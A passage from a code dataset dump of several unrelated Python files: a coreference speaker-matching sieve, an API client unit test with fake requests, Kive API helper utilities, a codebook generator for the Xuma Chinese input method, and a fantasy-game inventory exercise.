VALID SPEAKER_YOU_I_MATCH\")\n return True\n else:\n self.logger.debug(\"LINK INVALID: YOU an I but not in sequence.\")\n # TODO check\n # self.invalid(entity, mention,candidate_entity, candidate)\n\n if doctype != self.graph_builder.doc_article:\n for mention_a in entity:\n for mention_b in candidate_entity:\n distance = \\\n abs(mention_a[UTTERANCE] - mention_b[UTTERANCE])\n person_a = mention_a.get(PERSON)\n person_b = mention_b.get(PERSON)\n number_a = mention_a[NUMBER]\n number_b = mention_b[NUMBER]\n if distance == 1 and person_a == person_b \\\n and number_a == number_b and not self.same_speaker(\n mention_a, mention_b):\n if person_a in (FIRST_PERSON, SECOND_PERSON):\n # We scape route\n if person_a == FIRST_PERSON and number_a == PLURAL:\n return False\n self.invalid(entity_a=entity, mention_a=mention_a,\n entity_b=candidate_entity,\n mention_b=mention_b)\n return False\n\n self.logger.debug(\"LINK IGNORED\")\n return False\n\n def log_candidate(self, candidate):\n \"\"\" Generate a human readable string with the relevant information of\n the candidate mention.\n\n :param candidate: The candidate to show.\n :return: Nothing\n \"\"\"\n self.logger.debug(\n \"CANDIDATE: -%s- speaker-%s- utterance:%d quoted: %s\",\n candidate[FORM],\n candidate[SPEAKER], candidate.get(UTTERANCE, \"-\"),\n candidate.get(QUOTED, \"-\"))\n\n def log_mention(self, mention):\n \"\"\" Generate a human readable string with the relevant information of\n the mention.\n\n :param mention: The mention to show.\n :return: Nothing\n \"\"\"\n self.logger.debug(\n \"MENTION: -%s- speaker-%s- utterance:%d quoted: %s\",\n mention[FORM], mention[SPEAKER], mention.get(\"utterance\", \"-\"),\n mention.get(QUOTED, \"-\"))\n\n def reflexive(self, mention, candidate, mention_entity, candidate_entity):\n \"\"\"check if the mention candidate is a reflexive relation.\n\n :param candidate: The candidate that may corefer the entity.\n :param mention: The selected mention to represent the entity.\n :param mention_entity: The candidate that may corefer the entity.\n :param candidate_entity: The entity that candidate is part of it.\n \"\"\"\n if not pronouns.reflexive(mention[\"form\"].lower()):\n return False\n if not self.graph_builder.same_sentence(mention, candidate):\n return False\n mention_head = self.graph_builder.get_head_word(mention)\n candidate_head = self.graph_builder.get_head_word(candidate)\n mention_deps = self.graph_builder.get_governor_words(mention_head)\n candidate_deps = self.graph_builder.get_governor_words(candidate_head)\n for node, relation in mention_deps:\n if dependency_tags.subject(relation[\"value\"]):\n for node_b, relation_b in candidate_deps:\n if node[ID] == node_b[ID] and\\\n dependency_tags.object(relation_b[\"value\"]):\n return True\n if dependency_tags.object(relation[\"value\"]):\n for node_b, relation_b in candidate_deps:\n if node[ID] == node_b[ID] and \\\n dependency_tags.subject(relation_b[\"value\"]):\n return True\n if not(mention_deps or candidate_deps):\n if self.agree_attributes(mention_entity, candidate_entity):\n return True\n\n return False\n\n @staticmethod\n def is_speech(mention):\n \"\"\"The mention is in a direct speech text?\n :param mention: A mention\"\"\"\n return mention.get(QUOTED, False)\n\n def context(self, mention_entity, mention, candidate_entity, candidate):\n \"\"\" Return a Human readable and sieve specific info string of the\n mention, the candidate and the link for logging proposes.\n\n :param mention_entity: The entity of the linked mention.\n :param mention: The mention.\n :param candidate_entity: The candidate entity\n :param candidate: The candidate of the link\n :return: A ready to read string.\n \"\"\"\n return \"{0} -{1}- | {2} -{3}-\".format(\n mention[FORM], mention[SPEAKER],\n candidate[FORM], candidate[SPEAKER])\n\n def equal_speakers(self, mention, candidate):\n if mention.get(IS_SPEAKER, False) and candidate.get(IS_SPEAKER, False):\n return rules.get_head_word_form(self.graph_builder, mention).lower() == \\\n rules.get_head_word_form(self.graph_builder, candidate).lower()\n return False\n","sub_path":"corefgraph/multisieve/sieves/speakerMatch.py","file_name":"speakerMatch.py","file_ext":"py","file_size_in_byte":10039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"379260827","text":"from datetime import datetime\n\nfrom cl_looker_client import api_client\n\nclass FakeResponse():\n def __init__(self, status_code, json):\n self.status_code = status_code\n self.json_data = json\n\n def json(self):\n return self.json_data\n\nclass FakeRequests():\n def __init__(self, return_json):\n self.last_request = {}\n self.return_json = return_json\n\n def post(self, url, data=None, headers=None, params=None):\n self.last_request['url'] = url\n self.last_request['data'] = data\n self.last_request['headers'] = headers\n return FakeResponse(200, self.return_json)\n\nclass TestAPIClient():\n def test_get_login_token(self):\n client_id = 'some_id'\n client_secret = 'some_secret'\n api_url = 'http://doogie.howser.com'\n returned_access_token = 'by the light of the moon'\n\n client = api_client.ApiClient(\n client_id,\n client_secret,\n api_url\n )\n\n client.request_client = FakeRequests({\n 'access_token': returned_access_token,\n 'expires_in': 60\n })\n\n client.get_login_token()\n assert isinstance(client.login_token, api_client.LoginToken)\n assert isinstance(client.login_token.expires_at, datetime)\n assert client.login_token.token == returned_access_token\n\n","sub_path":"test/test_api_client.py","file_name":"test_api_client.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"351313260","text":"\"Examples of utility functions that use the Kive API.\"\nimport time\n\nfrom kiveapi import KiveMalformedDataException\n\n\ndef await_containerrun(session, containerrun):\n \"\"\"Given a `KiveAPI instance and a container run, monitor the run\n for completion and return the completed run.\n \"\"\"\n ACTIVE_STATES = \"NSLR\"\n INTERVAL = 1.0\n MAX_WAIT = 300.0\n\n starttime = time.time()\n elapsed = 0.0\n\n runid = containerrun[\"id\"]\n print(f\"Waiting for run {runid} to finish.\")\n\n while elapsed < MAX_WAIT:\n containerrun = session.endpoints.containerruns.get(runid)\n state = containerrun[\"state\"]\n elapsed = round(time.time() - starttime, 2)\n if state in ACTIVE_STATES:\n print(f\"Run in progress (state={state}, {elapsed}s elapsed)\")\n time.sleep(INTERVAL)\n elif state == \"C\":\n print(f\"Run {runid} finished after {elapsed}s; fetching results\")\n break\n else:\n import pprint\n print(f\"Run {runid} failed after {elapsed}s; exiting\")\n pprint.pprint(containerrun)\n exit(1)\n else:\n exit(f\"Run {runid} timed out after {elapsed}s\")\n\n return containerrun\n\n\n# This function is mostly useful in the API examples: when the example is re-run, this function\n# retrieves an existing dataset instead of creating a new one. Note that in production, we\n# also compare the MD5 hashes of the files to give us more confidence that they're actually\n# identical.\ndef upload_or_retrieve_dataset(session, name, inputfile, users=None, groups=None):\n \"Create a dataset by uploading a file to Kive.\"\n if users is None and groups is None:\n raise ValueError(\"A list of users or a list of groups is required\")\n try:\n dataset = session.add_dataset(name, 'None', inputfile, None, users, groups)\n except KiveMalformedDataException:\n dataset = session.find_dataset(name=name)[0]\n return dataset\n","sub_path":"api/example_tools.py","file_name":"example_tools.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"614248204","text":"import os\nimport os.path\nimport io\n\nclass Word:\n def __init__(self, pos, code, content):\n self.pos = pos\n self.code = code\n self.content = content\n\ndef char_can_display(c):\n # bopomofo\n # bopomofo ext\n\n # base\n # ext a\n # ext b\n # ext c\n\n # compatibility ideographs\n # compatibility ideographs supplement\n\n # kangxi radicals\n # radicals supplement\n # strokes\n # idc\n return False \\\n or c >= 0x3100 and c <= 0x312F \\\n or c >= 0x31A0 and c <= 0x31BF \\\n \\\n or c >= 0x4E00 and c <= 0x9FEA \\\n or c >= 0x3400 and c <= 0x4DB5 \\\n or c >= 0x20000 and c <= 0x2A6D6 \\\n or c >= 0x2A700 and c <= 0x2B734 \\\n \\\n or c >= 0xF900 and c <= 0xFAFF \\\n or c >= 0x2F800 and c <= 0x2FA1F \\\n \\\n or c >= 0x2F00 and c <= 0x2FDF \\\n or c >= 0x2E80 and c <= 0x2EFF \\\n or c >= 0x31C0 and c <= 0x31EF \\\n or c >= 0x2FF0 and c <= 0x2FFF \\\n or c == 0x3007 # 〇\n\ndef char_pua(c):\n # pua\n # pua ext a\n # pua ext b\n return False \\\n or c >= 0xE000 and c <= 0xF8FF \\\n or c >= 0xF0000 and c <= 0xFFFFF \\\n or c >= 0x100000 and c <= 0x10FFFD\n\ndef char_extdef(c):\n # ext d\n # ext e\n # ext f\n return False \\\n or c >= 0x2B740 and c <= 0x2B81D \\\n or c >= 0x2B820 and c <= 0x2CEA1 \\\n or c >= 0x2CEB0 and c <= 0x2EBE0 \\\n\n\ndef char_normal(c):\n return char_can_display(c) or char_extdef(c) or char_pua(c)\n\n# process\ndef statistic_and_analysis(list_repeat=False):\n fxuma = open(\"xuma_mo.txt\", encoding=\"utf-8\")\n\n zipin_raw_map = {}\n zipin_map = {}\n with open(\"zipin.txt\", encoding=\"utf-8\") as fzipin:\n for line in fzipin.readlines():\n line = line.strip()\n assert len(line) > 0\n zipin_map[line] = 0\n zipin_raw_map[line] = True\n\n cipin_map = {}\n with open(\"cipin.txt\", encoding=\"utf-8\") as fcipin:\n for line in fcipin.readlines():\n line = line.strip()\n assert len(line) > 0\n cipin_map[line] = 0\n\n jm_map = create_jm_map()\n jmc_map = create_jmc_map()\n freq_ci_list = create_cipin_hole_list(jm_map, jmc_map)[1]\n dup_ci_record = {}\n for i in freq_ci_list:\n dup_ci_record[i[0]] = True\n\n line_counter = 0\n zi_counter = 0\n ci_counter = 0\n other_counter = 0\n freq_zi_counter = 0\n freq_ci_counter = 0\n zi_record = {}\n ci_record = {}\n code_map = {}\n for line in fxuma.readlines():\n splits = line.strip().split()\n assert len(splits) == 2\n word, code = splits[0], splits[1]\n assert len(word) > 0\n\n line_counter += 1\n if char_normal(ord(word[0])):\n if len(code) == 4 and word not in jm_map and word not in jmc_map:\n if word not in dup_ci_record and (word in zipin_map or len(word) > 1):\n if code not in code_map:\n code_map[code] = [ word ]\n else:\n code_map[code].append(word)\n if len(word) == 1:\n if word not in zi_record:\n zi_counter += 1\n zi_record[word] = True\n if word in zipin_map or (len(code) == 2 and char_can_display(ord(word))):\n if word not in zipin_map:\n zipin_map[word] = 0\n zipin_map[word] += 1\n else:\n if word not in ci_record:\n ci_counter += 1\n if word in cipin_map:\n cipin_map[word] += 1\n else:\n other_counter += 1\n\n for word, freq in zipin_map.items():\n if freq > 0:\n freq_zi_counter += 1\n\n for word, freq in cipin_map.items():\n if freq > 0:\n freq_ci_counter += 1\n\n freq_ci_counter -= len(freq_ci_list)\n\n print(\"zipin lines:\", len(zipin_raw_map))\n print(\"cipin lines:\", len(cipin_map))\n print(\"total lines:\", line_counter)\n print(\"total words:\", zi_counter)\n print(\"total phrases:\", ci_counter)\n print(\"others:\", other_counter)\n print(\"frequent words:\", freq_zi_counter)\n print(\"frequent phrases:\", freq_ci_counter)\n for code, words in code_map.items():\n if len(words) > 1:\n print(code, words)\n\n fxuma.close()\n\n# process\ndef create_duoduo_mb():\n fxuma = open(\"xuma_mo.txt\", encoding=\"utf-8\")\n fout = open(\"out.txt\", encoding=\"utf-8\", mode='w')\n\n zipin_map = {}\n with open(\"zipin.txt\", encoding=\"utf-8\") as fzipin:\n for line in fzipin.readlines():\n line = line.strip()\n assert len(line) > 0\n zipin_map[line] = True\n\n cipin_map = {}\n with open(\"cipin.txt\", encoding=\"utf-8\") as fcipin:\n for line in fcipin.readlines():\n line = line.strip()\n assert len(line) > 0\n cipin_map[line] = True\n\n fout.write(\"---config@主码别名=徐码MoGu优化版\\n\")\n fout.write(\"---config@主码-系统码表别名=徐码常用字词\\n\")\n fout.write(\"---config@主码-用户码表别名=用户词库\\n\")\n fout.write(\"---config@主码-次显码表别名=徐码大字集\\n\")\n fout.write(\"---config@主码-分类码表别名1=拼音笔画反查\\n\")\n fout.write(\"---config@主码-分类码表别名2=符号编码\\n\")\n fout.write(\"---config@主码-分类码表别名3=命令代码\\n\")\n fout.write(\"---config@辅码别名=字词全码及多编码\\n\")\n fout.write(\"---config@允许编辑主码-系统码表=是\\n\")\n fout.write(\"---config@允许编辑主码-次显码表=是\\n\")\n fout.write(\"---config@允许编辑主码-分类码表1~16=是\\n\")\n fout.write(\"---config@允许编辑辅码码表=是\\n\")\n fout.write(\"$ddcmd(set([-IME设置-],检索次显码表=是),[开启大字集])\\tboxa#类3\\n\")\n fout.write(\"$ddcmd(set([-IME设置-],检索次显码表=否),[关闭大字集])\\tboxa#类3\\n\")\n fout.write(\"$ddcmd(set([-IME设置-],输入方案=主),[开启强制简码])\\tboxb#类3\\n\")\n fout.write(\"$ddcmd(set([-IME设置-],输入方案=主+辅),[关闭强制简码])\\tboxb#类3\\n\")\n fout.write(\"$ddcmd(config(/do 剪贴板反查),[剪贴板反查])\\tboxj#类3\\n\")\n fout.write(\"$ddcmd(config(/do 输出反查),[反查]:)\\tboxf#类3\\n\")\n fout.write(\"$ddcmd(config(/do 码表),[码表])\\tboxm#类3\\n\")\n fout.write(\"$ddcmd(run(http://www.zdic.net/sousuo/?q=),[汉典]:)\\tboxd#类3\\n\")\n fout.write(\"$ddcmd(run(powershell.exe),[PowerShell])\\tboxt#类3\\n\")\n fout.write(\"$ddcmd(run(calc.exe),[计算器])\\tboxs#类3\\n\")\n fout.write(\"$ddcmd(config(/do 在线加词),[在线加词])\\tboxc#类3\\n\")\n fout.write(\"$ddcmd(help(),[使用入门])\\tboxh#类3\\n\")\n fout.write(\"$ddcmd(日,日)\\tdate#类3\\n\")\n fout.write(\"$ddcmd(日,日)\\tdate#类3\\n\")\n fout.write(\"$ddcmd(日,日)\\tdate#类3\\n\")\n fout.write(\"$ddcmd(日,日)\\tdate#类3\\n\")\n fout.write(\"$ddcmd(秒,秒)\\ttime#类3\\n\")\n fout.write(\"$ddcmd(秒,秒)\\ttime#类3\\n\")\n fout.write(\"$ddcmd(秒,秒)\\ttime#类3\\n\")\n\n jm_map = create_jm_map()\n jmc_map = create_jmc_map()\n freq_ci_list = create_cipin_hole_list(jm_map, jmc_map)[1]\n dup_ci_record = {}\n for i in freq_ci_list:\n dup_ci_record[i[0]] = True\n\n xuma_map = {}\n xuma_dup_map = {}\n for line in fxuma.readlines():\n splits = line.strip().split()\n assert len(splits) == 2\n word, code = splits[0], splits[1]\n assert len(word) > 0\n\n kind = \"\"\n if char_normal(ord(word[0])):\n if len(word) == 1:\n if word in zipin_map or (len(code) == 2 and char_can_display(ord(word))):\n if word in xuma_map:\n kind = \"辅\"\n else:\n kind = \"次\"\n else:\n if word in cipin_map:\n if word in xuma_map or word in dup_ci_record:\n kind = \"辅\"\n elif len(code) != 2:\n kind = \"次\"\n else:\n if word[0] == \"$\" and len(word) > 1:\n if code[0] == '`':\n kind = \"类1\"\n else:\n continue\n else:\n kind = \"类2\"\n if len(kind) > 0:\n fout.write(word + \"\\t\" + code + '#' + kind + '\\n')\n else:\n fout.write(word + \"\\t\" + code + '\\n')\n\n xuma_map[word] = True\n if (word, code) in xuma_dup_map:\n print(word, \":\", code)\n xuma_dup_map[(word, code)] = True\n\n fxuma.close()\n fout.close()\n\n# generate step1\ndef create_danzi_map():\n danzi_map = {}\n with open(\"xuma_mo.txt\", encoding=\"utf-8\") as fxuma:\n for line in fxuma.readlines():\n splits = line.strip().split()\n assert len(splits) == 2\n word, code = splits[0], splits[1]\n assert len(word) > 0\n\n if char_normal(ord(word[0])):\n if len(word) == 1:\n danzi_map[word] = code\n\n return danzi_map\n\n# generate step2\ndef fixed_danzi_map():\n danzi_map = create_danzi_map()\n with open(\"fix_danzi.txt\", encoding=\"utf-8\") as ffix:\n for line in ffix.readlines():\n line = line.strip()\n splits = line.split()\n assert len(splits) == 2\n\n if splits[0] in danzi_map:\n danzi_map[splits[0]] = splits[1]\n\n return danzi_map\n\n# generate step3\ndef create_code_head_map(rawmap, head=4):\n code_map = {}\n for k, v in rawmap.items():\n if len(v) < head:\n continue\n if v[:head] not in code_map:\n code_map[v[:head]] = [ k ]\n else:\n code_map[v[:head]].append(k)\n return code_map\n\n# generate step4\ndef create_code_len_map(rawmap, length=4):\n code_map = {}\n for k, v in rawmap.items():\n if len(v) != length:\n continue\n if v not in code_map:\n code_map[v] = [ k ]\n else:\n code_map[v].append(k)\n return code_map\n\n# generate step5\ndef create_symbol_list():\n symbol_list = []\n with open(\"xuma_mo.txt\", encoding=\"utf-8\") as fxuma:\n for line in fxuma.readlines():\n splits = line.strip().split()\n assert len(splits) == 2\n word, code = splits[0], splits[1]\n assert len(word) > 0\n\n if not char_normal(ord(word[0])):\n if word[0] != \"$\" or len(word) == 1:\n symbol_list.append((word, code))\n return symbol_list\n\n# generate step6\ndef create_symbol_code_len_list(symbol_list, length=1):\n new_symbol_list = []\n for i in symbol_list:\n if len(i[1]) == length:\n new_symbol_list.append(i)\n return new_symbol_list\n\n# generate step7\ndef create_fancha_list():\n fancha_list = []\n # with open(\"xuma_mo.txt\", encoding=\"utf-8\") as fxuma:\n # for line in fxuma.readlines():\n # splits = line.strip().split()\n # assert len(splits) == 2\n # word, code = splits[0], splits[1]\n # assert len(word) > 0\n\n # if word[0] == \"$\" and len(word) > 1 and code[0] == '`':\n # fancha_list.append((word, code))\n danzi_map = fixed_danzi_map()\n with open(\"fancha.txt\", encoding=\"utf-8\") as ffancha:\n for line in ffancha.readlines():\n splits = line.strip().split()\n assert len(splits) == 2\n word, code = splits[0], splits[1]\n assert len(word) > 0\n\n nword = '$ddcmd(' + word + ',' + word + '【' + danzi_map[word] + '】)'\n code = '`' + code\n fancha_list.append((nword, code))\n fancha_list.sort(key=lambda v: v[1])\n return fancha_list\n\n# generate step8\ndef merge_list(tar_list, src_list):\n merge_record = {}\n new_list = []\n\n src_list_index = 0\n for i in tar_list:\n word, code = i[0], i[1]\n while src_list_index < len(src_list):\n src_item = src_list[src_list_index]\n if code > src_item[1]:\n if src_item not in merge_record:\n new_list.append(src_item)\n merge_record[src_item] = True\n src_list_index += 1\n else:\n break\n if i not in merge_record:\n new_list.append(i)\n merge_record[i] = True\n\n while src_list_index < len(src_list):\n src_item = src_list[src_list_index]\n new_list.append(src_item)\n src_list_index += 1\n\n return new_list\n\n# generate step9\ndef create_jm_map():\n fix_map = {}\n with open(\"fix_jm.txt\", encoding=\"utf-8\") as ffix:\n for line in ffix.readlines():\n line = line.strip()\n splits = line.split()\n assert len(splits) == 2\n\n fix_map[splits[0]] = splits[1]\n\n\n zipin_map = {}\n zipin_index = 0\n with open(\"zipin.txt\", encoding=\"utf-8\") as fzipin:\n for line in fzipin.readlines():\n line = line.strip()\n assert len(line) > 0\n zipin_map[line] = zipin_index\n zipin_index += 1\n\n all_zipin_map = {}\n danzi_map = fixed_danzi_map()\n for word in danzi_map:\n if word not in zipin_map:\n all_zipin_map[word] = 1000000\n else:\n all_zipin_map[word] = zipin_map[word]\n\n jm_map = {}\n jm_code_map = {}\n lh1 = create_code_head_map(danzi_map, 1)\n oa = ord('a')\n for i in range(26):\n ch = chr(oa + i)\n lh = lh1[ch]\n lh.sort(key=lambda w: all_zipin_map[w])\n jm_map[lh[0]] = ch\n jm_code_map[ch] = lh[0]\n\n for word, code in fix_map.items():\n if len(code) == 1:\n del jm_map[jm_code_map[code]]\n del jm_code_map[code]\n jm_map[word] = code\n jm_code_map[code] = word\n\n # jm1_map = {}\n # jm1_code_map = {}\n # with open(\"jm1.txt\", encoding=\"utf-8\") as fjm2:\n # for line in fjm2.readlines():\n # line = line.strip()\n # splits = line.split()\n # assert len(splits) == 2\n # assert splits[1] not in jm1_map\n # jm1_map[splits[1]] = splits[0]\n # jm1_code_map[splits[0]] = splits[1]\n\n # counter = 0\n # for ch, code in jm_map.items():\n # if len(code) == 1:\n # if ch not in jm1_map:\n # print(code, jm1_code_map[code], \"->\", ch)\n # counter += 1\n # print(\"total:\", counter)\n\n lh2 = create_code_head_map(danzi_map, 2)\n ll2 = create_code_len_map(danzi_map, 2)\n for i in range(26):\n for j in range(26):\n ch = chr(oa + i) + chr(oa + j)\n find = False\n if ch in ll2:\n ll = ll2[ch]\n ll.sort(key=lambda w: all_zipin_map[w])\n for idx in range(len(ll)):\n if ll[idx] in zipin_map and ll[idx] not in jm_map:\n if zipin_map[ll[idx]] < 4500:\n jm_map[ll[idx]] = ch\n jm_code_map[ch] = ll[idx]\n find = True\n break\n # else:\n # print(ch, ll[idx])\n\n if not find and ch in lh2:\n lh = lh2[ch]\n lh.sort(key=lambda w: all_zipin_map[w])\n for idx in range(len(lh)):\n if lh[idx] not in jm_map:\n jm_map[lh[idx]] = ch\n jm_code_map[ch] = lh[idx]\n find = True\n break\n\n if not find:\n print(\"empty code:\", ch)\n\n for word, code in fix_map.items():\n if len(code) == 2:\n del jm_map[jm_code_map[code]]\n del jm_code_map[code]\n jm_map[word] = code\n jm_code_map[code] = word\n\n # jm2_map = {}\n # jm2_code_map = {}\n # with open(\"jm2.txt\", encoding=\"utf-8\") as fjm2:\n # for line in fjm2.readlines():\n # line = line.strip()\n # splits = line.split()\n # assert len(splits) == 2\n # assert splits[1] not in jm2_map\n # jm2_map[splits[1]] = splits[0]\n # jm2_code_map[splits[0]] = splits[1]\n\n # counter = 0\n # for ch, code in jm_map.items():\n # if len(code) == 2:\n # if ch not in jm2_map:\n # print(code, jm2_code_map[code], \"->\", ch)\n # counter += 1\n # print(\"total:\", counter)\n\n empty_counter = 0\n code_counter = 0\n lh3 = create_code_head_map(danzi_map, 3)\n ll3 = create_code_len_map(danzi_map, 3)\n for i in range(26):\n for j in range(26):\n for k in range(26):\n ch = chr(oa + i) + chr(oa + j) + chr(oa + k)\n find = False\n if ch in ll3:\n ll = ll3[ch]\n ll.sort(key=lambda w: all_zipin_map[w])\n for idx in range(len(ll)):\n if ll[idx] in zipin_map and ll[idx] not in jm_map:\n if zipin_map[ll[idx]] < 4500:\n jm_map[ll[idx]] = ch\n jm_code_map[ch] = ll[idx]\n find = True\n break\n # else:\n # print(ch, ll[idx])\n\n if not find and ch in lh3:\n lh = lh3[ch]\n lh.sort(key=lambda w: all_zipin_map[w])\n for idx in range(len(lh)):\n if lh[idx] not in jm_map:\n jm_map[lh[idx]] = ch\n jm_code_map[ch] = lh[idx]\n find = True\n break\n\n if not find:\n empty_counter += 1\n else:\n code_counter += 1\n\n for word, code in fix_map.items():\n if len(code) == 3:\n del jm_map[jm_code_map[code]]\n del jm_code_map[code]\n jm_map[word] = code\n jm_code_map[code] = word\n\n # print(\"total empty code:\", empty_counter)\n # print(\"total code:\", code_counter)\n # print(\"total jm:\", len(jm_map))\n\n return jm_map\n\n# generate step10\ndef create_cipin_code_map():\n danzi_map = fixed_danzi_map()\n cipin_code = {}\n with open(\"cipin.txt\", encoding=\"utf-8\") as fcipin:\n for line in fcipin.readlines():\n line = line.strip()\n l = len(line)\n if l == 1:\n print(line)\n assert l > 1\n code = \"\"\n if l == 2:\n code = danzi_map[line[0]][:2] + danzi_map[line[1]][:2]\n elif l == 3:\n code = danzi_map[line[0]][0] + danzi_map[line[1]][0] + danzi_map[line[2]][:2]\n else:\n code = danzi_map[line[0]][0] + danzi_map[line[1]][0] + danzi_map[line[2]][0] + danzi_map[line[len(line)-1]][0]\n assert len(code) == 4\n cipin_code[line] = code\n #print(\"total phrases:\", len(cipin_code))\n return cipin_code\n\n# generate step11\ndef create_jmc_map():\n fix_map = {}\n with open(\"fix_jmc.txt\", encoding=\"utf-8\") as ffix:\n for line in ffix.readlines():\n line = line.strip()\n splits = line.split()\n assert len(splits) == 2\n\n fix_map[splits[0]] = splits[1]\n\n cipin_map = {}\n cipin_index = 0\n with open(\"cipin.txt\", encoding=\"utf-8\") as fcipin:\n for line in fcipin.readlines():\n line = line.strip()\n assert len(line) > 0\n cipin_map[line] = cipin_index\n cipin_index += 1\n\n cipin_code_map = create_cipin_code_map()\n\n jmc_map = {}\n jmc_code_map = {}\n lh1 = create_code_head_map(cipin_code_map, 1)\n oa = ord('a')\n for i in range(26):\n ch = chr(oa + i)\n lh = lh1[ch]\n lh.sort(key=lambda w: cipin_map[w])\n jmc_map[lh[0]] = ch\n jmc_code_map[ch] = lh[0]\n\n for word, code in fix_map.items():\n if len(code) == 1:\n del jmc_map[jmc_code_map[code]]\n del jmc_code_map[code]\n jmc_map[word] = code\n jmc_code_map[code] = word\n\n lh2 = create_code_head_map(cipin_code_map, 2)\n for i in range(26):\n for j in range(26):\n ch = chr(oa + i) + chr(oa + j)\n if ch in lh2:\n lh = lh2[ch]\n lh.sort(key=lambda w: cipin_map[w])\n for idx in range(len(lh)):\n if lh[idx] not in jmc_map:\n jmc_map[lh[idx]] = ch\n jmc_code_map[ch] = lh[idx]\n break\n\n for word, code in fix_map.items():\n if len(code) == 2:\n del jmc_map[jmc_code_map[code]]\n del jmc_code_map[code]\n jmc_map[word] = code\n jmc_code_map[code] = word\n\n return jmc_map\n\n# generate step12\ndef create_no_jm_danzi_map(jm_map):\n danzi_map = fixed_danzi_map()\n new_map = {}\n for word, code in danzi_map.items():\n if word not in jm_map:\n new_map[word] = code\n\n return danzi_map\n # danzi_list = [(word, code) for word, code in danzi_map.items()]\n # danzi_list.sort(key=lambda v: v[1])\n # return danzi_list\n\n# generate step13\ndef create_cipin_hole_list(jm_map, jmc_map):\n zipin_map = {}\n zipin_index = 0\n with open(\"zipin.txt\", encoding=\"utf-8\") as fzipin:\n for line in fzipin.readlines():\n line = line.strip()\n assert len(line) > 0\n zipin_map[line] = zipin_index\n zipin_index += 1\n\n danzi_map = fixed_danzi_map()\n\n code_record_map = {}\n for word in zipin_map:\n if word not in jm_map:\n code_record_map[danzi_map[word]] = True\n\n ret_list = []\n ret_list_record = {}\n phrase_record = {}\n cipin_code_map = create_cipin_code_map()\n cipin_code_list = [(phrase, code) for phrase, code in cipin_code_map.items()]\n cipin_code_list.sort(key=lambda v: v[1])\n for i in cipin_code_list:\n phrase, code = i[0], i[1]\n if code not in code_record_map and code not in ret_list_record and phrase not in jmc_map:\n ret_list.append((phrase, code))\n ret_list_record[code] = True\n phrase_record[phrase] = True\n ret_list.sort(key=lambda v: v[1])\n\n freq_ci_list = []\n for item in cipin_code_list:\n if item[0] not in phrase_record and item[0] not in jmc_map:\n freq_ci_list.append(item)\n freq_ci_list.sort(key=lambda v: v[1])\n\n return merge_list(ret_list, freq_ci_list), freq_ci_list\n\n# process\ndef auto_xuma_mb():\n jm_map = create_jm_map()\n jm_list = [(word, code) for word, code in jm_map.items()]\n jm_list.sort(key=lambda v: v[1])\n\n jmc_map = create_jmc_map()\n jmc_list = [(word, code) for word, code in jmc_map.items()]\n jmc_list.sort(key=lambda v: v[1])\n\n end_list = merge_list(jm_list, jmc_list)\n\n no_jm_danzi_map = create_no_jm_danzi_map(jm_map)\n no_jm_danzi_list = [(word, code) for word, code in no_jm_danzi_map.items()]\n no_jm_danzi_list.sort(key=lambda v: v[1])\n\n end_list = merge_list(end_list, no_jm_danzi_list)\n\n fancha_list = create_fancha_list()\n\n end_list = merge_list(end_list, fancha_list)\n\n hole_list = create_cipin_hole_list(jm_map, jmc_map)[0]\n end_list = merge_list(end_list, hole_list)\n\n symbol_list = create_symbol_list()\n sl1 = create_symbol_code_len_list(symbol_list, length=1)\n end_list = merge_list(end_list, sl1)\n sl2 = create_symbol_code_len_list(symbol_list, length=2)\n end_list = merge_list(end_list, sl2)\n sl3 = create_symbol_code_len_list(symbol_list, length=3)\n end_list = merge_list(end_list, sl3)\n sl4 = create_symbol_code_len_list(symbol_list, length=4)\n end_list = merge_list(end_list, sl4)\n\n print(\"total lines:\", len(end_list))\n\n with open(\"out.txt\", encoding=\"utf-8\", mode='w') as fout:\n for i in end_list:\n fout.write(i[0] + '\\t' + i[1] + '\\n')\n\n# process\ndef gen_new_cipin_file():\n cipin_map = {}\n with open(\"cipin_google.txt\", encoding=\"utf-8\") as fcipin:\n for line in fcipin.readlines():\n line = line.strip()\n if '\\ufeff' in line:\n print(line)\n splits = line.split()\n assert len(splits) == 2\n assert splits[0] not in cipin_map\n cipin_map[splits[0]] = int(splits[1])\n print(\"raw cipin lines:\", len(cipin_map))\n\n with open(\"xdhy5.txt\", encoding=\"utf-8\") as fxdhy:\n for line in fxdhy.readlines():\n line = line.strip()\n if '\\ufeff' in line:\n print(line)\n assert len(line) > 0\n if line not in cipin_map:\n cipin_map[line] = 0\n print(\"add xdhy5 then lines:\", len(cipin_map))\n\n cipin_list = [(ci, order) for ci, order in cipin_map.items()]\n cipin_list.sort(key=lambda v: 100000000-v[1])\n with open(\"out.txt\", encoding=\"utf-8\", mode='w') as fout:\n for i in cipin_list:\n fout.write(i[0] + '\\n')\n\nif __name__ == \"__main__\":\n # add processes here\n\n #gen_new_cipin_file()\n #auto_xuma_mb()\n #statistic_and_analysis()\n create_duoduo_mb()\n\n","sub_path":"doit.py","file_name":"doit.py","file_ext":"py","file_size_in_byte":25989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"539540604","text":"#! python3\n# fantasyGameInventory.py - You are creating a fantasy video game. The data \n# structure to model the player’s inventory will be a dictionary where the keys \n# are string values describing the item in the inventory and the value is an \n# integer value detailing how many of that item the player has. For example, \n# the dictionary value {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, \n# 'arrow': 12} means the player has 1 rope, 6 torches, 42 gold coins, and so \n# on. Write a function named displayInventory() that would take any possible \n# “inventory” and display it like the following:\n# \n# Inventory:\n# 12 arrow\n# 42 gold coin\n# 1 rope\n# 6 torch\n# 1 dagger\n# Total number of items: 62\n\nstuff = {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12}\ndragonLoot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby']\n\ndef displayInventory(inventoryDict):\n print('Inventory:')\n totalItems = 0\n for k, v in inventoryDict.items():\n totalItems += v\n print(v, k)\n print(f'Total number of items: {totalItems}\\n')\n\ndef addToInventory(inventoryDict, lootList):\n for loot in lootList:\n inventoryDict.setdefault(loot, 1)\n inventoryDict[loot] += 1\n print('Items added!\\n')\n return 